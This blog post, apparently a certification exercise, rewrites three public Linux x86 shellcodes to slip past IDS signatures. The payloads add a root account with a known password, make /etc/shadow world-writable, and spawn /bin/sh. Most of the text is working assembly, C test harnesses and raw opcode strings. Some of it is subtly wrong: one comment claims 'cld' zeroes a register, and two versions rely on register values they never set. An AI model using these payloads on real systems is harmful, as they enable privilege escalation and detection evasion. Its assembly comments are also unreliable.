Content
- Introduction
- MSF /linux/x86/adduser – Smaller and NULL free version
- chmod(/etc/shadow, 0666) & exit() by ka0x – Smaller version
- Linux/x86 Shellcode execve (“/bin/sh”) by kernel_panik – Smaller version
1. Introduction
I will modify or polymorph three publicly available shellcodes. Primarily to avoid IDS detection by changing the signature of the payload but also to make it better or smaller.
2. MSF /linux/x86/adduser – Smaller and NULL free version
The adduser shellcode from metasploit is great. Very flexible and fits perfectly into a framework such as metasploit.
Here is the thing though: It is full of NULL characters and rather large. Encoding it to get rid of the NULL’s makes it even bigger.
Solution: I replace the optimised call&pop routine with the good old jmp, call & pop and replace some other small bits and pieces.
The full jmp, call & pop will require us to hardcode the length of the string, which shouldn’t matter since we have to hardcode the string anyway.
We can even make it a little smaller by deleting the setreuid() function which is generally not required (but can be added back in whenever needed).
Without further delay, here is the final product:
; Filename: msf_adduser_poly.nasm ; Author: Taken from Metasploit ; Modified by Re4son re4son [at] whitedome.com.au ; Purpose: Null free and smaller polymorphic version ; of the metasploit linux/x86/adduser payload ; Creates root user "re4son" with password w00tw00t global _start section .text _start: ; setreuid() sets real and effective user IDs of the calling process ; int setreuid(uid_t ruid, uid_t euid) ; can be optimised out for most cases - un-comment it if you need it ;xor ecx,ecx ; zero out ecx ;mov ebx,ecx ; and ebx ;push 0x46 ; put sys_setreuid ;pop eax ; into eax ;int 0x80 ; and invoke system call ; open, create - open and possibly create a file or device ; int open(const char *pathname, int flags) xor eax, eax ; zero out eax mov ecx, eax ; and ecx mov al, 0x5 ; put sys_open into eax push ecx ; push null terminator onto stack push dword 0x64777373 ; push sswd push dword 0x61702f2f ; push //pa push dword 0x6374652f ; push /etc mov ebx,esp ; store pointer to file name in ebx mov cl,0x1 ; set O_WRONLY flag (01) mov ch,0x4 ; set O_APPEND flag (02000) int 0x80 ; and invoke system call ; write - write to a file descriptor ; ssize_t write(int fd, const void *buf, size_t count) xchg ebx,eax ; store file descriptor in ebx jmp string adduser: pop ecx ; put the pointer to our string in ecx mov byte dl, 0x23 ; put the size in edx - make sure it is right push 0x4 ; put sys_write pop eax ; into eax int 0x80 ; and invoke system call ; exit - terminate the calling process ; void _exit(int status) push 0x1 ; put sys_exit pop eax ; in eax int 0x80 ; so long and thanks for all the fish string: call adduser ; jmp/call/pop trick to get our db address userstring db "re4son:Az/dIsj4p4IRc:0:0::/:/bin/sh" ; size 35 - 0x23 copy to adduser call
Let’s make sure it still works though:
Awesome. It works, is smaller and has no NULL bytes.
Let’s check the differences between the original and the polymorphed versions using vimdiff:
\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x72\x65\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80 \x31\xc0\x89\xc1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xb1\x01\xb5\x04\xcd\x80\x93\xeb\x0d\x59\xb2\x23\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xee\xff\xff\xff\x72\x65\x34\x73\x6f\x6e\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68
Perfect. New opcodes, smaller, and NULL byte free.
3. chmod(/etc/shadow, 0666) & exit() by ka0x – Smaller version
I’ve applied some optimizations and alternative instructions to change the opcodes in this shellcode and ended up with one that is 2 bytes less.
Let start with the original code:
#include <stdio.h> /* linux/x86 ; chmod(/etc/shadow, 0666) & exit() 33 bytes written by ka0x - ka0x01[alt+64]gmail.com lun sep 21 17:13:25 CEST 2009 greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek and others! */ int main() { char shellcode[] = "\x31\xc0" // xor eax,eax "\x50" // push eax "\x68\x61\x64\x6f\x77" // push dword 0x776f6461 "\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f "\x68\x2f\x65\x74\x63" // push dword 0x6374652f "\x89\xe3" // mov ebx,esp "\x66\x68\xb6\x01" // push word 0x1b6 "\x59" // pop ecx "\xb0\x0f" // mov al,0xf "\xcd\x80" // int 0x80 "\xb0\x01" // mov al,0x1 "\xcd\x80"; // int 0x80 printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 ); (*(void(*)()) shellcode)(); return 0; }
And here my modified version:
; linux/x86 ; chmod(/etc/shadow, 0666) & exit() 33 bytes ; written by ka0x - ka0x01[alt+64]gmail.com ; lun sep 21 17:13:25 CEST 2009 ; ; greets: an0de, Piker, xarnuz, NullWave07, Pepelux, JosS, sch3m4, Trancek and others! ; ; Polymorphed by Re4son: 31 bytes ; re4son [at] whitedome.com.au global _start section .text _start: cdq ; clear edx push edx ; push NULL termination push dword 0x776f6461 ; push adow push dword 0x68732f63 ; push hs/c push dword 0x74652f2f ; push te// mov ebx,esp mov al,0xf mov cx,0x1be ; chmod 676 int 0x80 mov al,0x1 int 0x80
Proof that it still work the way intended (note that we changed chmod 666 to chmod 676):
Again the differences between the original and the polymorphed versions using vimdiff: An
And here the differences in shellcodes (original on top):
\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xb6\x01\x59\xb0\x0f\xcd\x80\xb0\x01\xcd\x80 \x99\x52\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\xb0\x0f\x66\xb9\xbe\x01\xcd\x80\xb0\x01\xcd\x80
Pretty good.
4. Linux/x86 Shellcode execve (“/bin/sh”) by kernel_panik – Smaller version
Again I’ve substituted some obcodes with more efficient ones and changed “//bin/sh” to /bin//sh” resulting in a smaller shellcode with different opcodes to the original one.
Here the original from Shell-Storm.com:
* Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes Date : 10 Feb 2011 Author : kernel_panik Thanks : cOokie, agix, antrhacks */ /* xor ecx, ecx mul ecx push ecx push 0x68732f2f ;; hs// push 0x6e69622f ;; nib/ mov ebx, esp mov al, 11 int 0x80 */ #include <stdio.h> #include <string.h> char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { printf ("Shellcode length : %d bytes\n", strlen (code)); int(*f)()=(int(*)())code; f(); }
My polymorphed version:
; Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes ; Date : 10 Feb 2011 ; Author : kernel_panik ; Thanks : cOokie, agix, antrhacks ; ; Polymorphed by Re4son: 18 bytes ; re4son [at] whitedome.com.au ; "\xfc\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\xb0\x0b\x89\xe3\xcd\x80" global _start section .text _start: cld ;; zero out edx push edx ;; push NULL termination push 0x68732f6e ;; hs/n push 0x69622f2f ;; ib// mov al, 11 mov ebx, esp int 0x80
Let’s run both version to make sure they do the same thing:
Excellent.
Why don’t we compare both sources with vimdiff:
Below the differences in shellcodes:
\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80 \xfc\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\xb0\x0b\x89\xe3\xcd\x80
Excellent. There we have it – three polymorphic versions of publicly available shellcodes for IDS avoidance but also with the benefit of being smaller and NULL free.
All files are available on github.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE – 674